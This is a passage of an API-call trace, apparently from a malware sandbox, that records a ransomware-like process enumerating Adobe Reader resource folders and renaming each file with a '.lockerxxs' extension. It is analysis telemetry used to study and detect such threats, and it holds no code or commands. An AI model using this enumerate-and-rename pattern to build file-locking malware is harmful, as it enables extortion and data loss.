10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt.lockerxxs")) returned 1 [0075.134] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt.lockerxxs")) returned 1 [0075.137] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt.lockerxxs")) returned 1 [0075.139] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502658 [0075.139] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0075.139] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0075.182] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0075.185] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0075.194] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0075.194] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0075.203] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat.lockerxxs")) returned 1 [0075.207] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0075.208] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0075.404] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt.lockerxxs")) returned 1 [0075.413] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt.lockerxxs")) returned 1 [0075.667] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt.lockerxxs")) returned 1 [0075.673] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt.lockerxxs")) returned 1 [0075.692] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt.lockerxxs")) returned 1 [0075.720] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt.lockerxxs")) returned 1 [0075.722] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0075.727] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt.lockerxxs")) returned 1 [0075.731] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt.lockerxxs")) returned 1 [0075.739] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt.lockerxxs")) returned 1 [0075.749] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt.lockerxxs")) returned 1 [0075.756] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt.lockerxxs")) returned 1 [0075.764] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt.lockerxxs")) returned 1 [0075.779] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt.lockerxxs")) returned 1 [0075.784] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt.lockerxxs")) returned 1 [0075.788] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt.lockerxxs")) returned 1 [0075.792] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt.lockerxxs")) returned 1 [0075.795] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt.lockerxxs")) returned 1 [0075.802] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt.lockerxxs")) returned 1 [0075.827] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt.lockerxxs")) returned 1 [0075.845] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt.lockerxxs")) returned 1 [0075.849] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt.lockerxxs")) returned 1 [0075.854] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt.lockerxxs")) returned 1 [0075.857] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt.lockerxxs")) returned 1 [0075.860] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt.lockerxxs")) returned 1 [0075.863] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt.lockerxxs")) returned 1 [0075.864] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0075.892] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt.lockerxxs")) returned 1 [0075.897] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt.lockerxxs")) returned 1 [0075.901] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt.lockerxxs")) returned 1 [0075.916] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt.lockerxxs")) returned 1 [0075.920] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt.lockerxxs")) returned 1 [0075.923] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 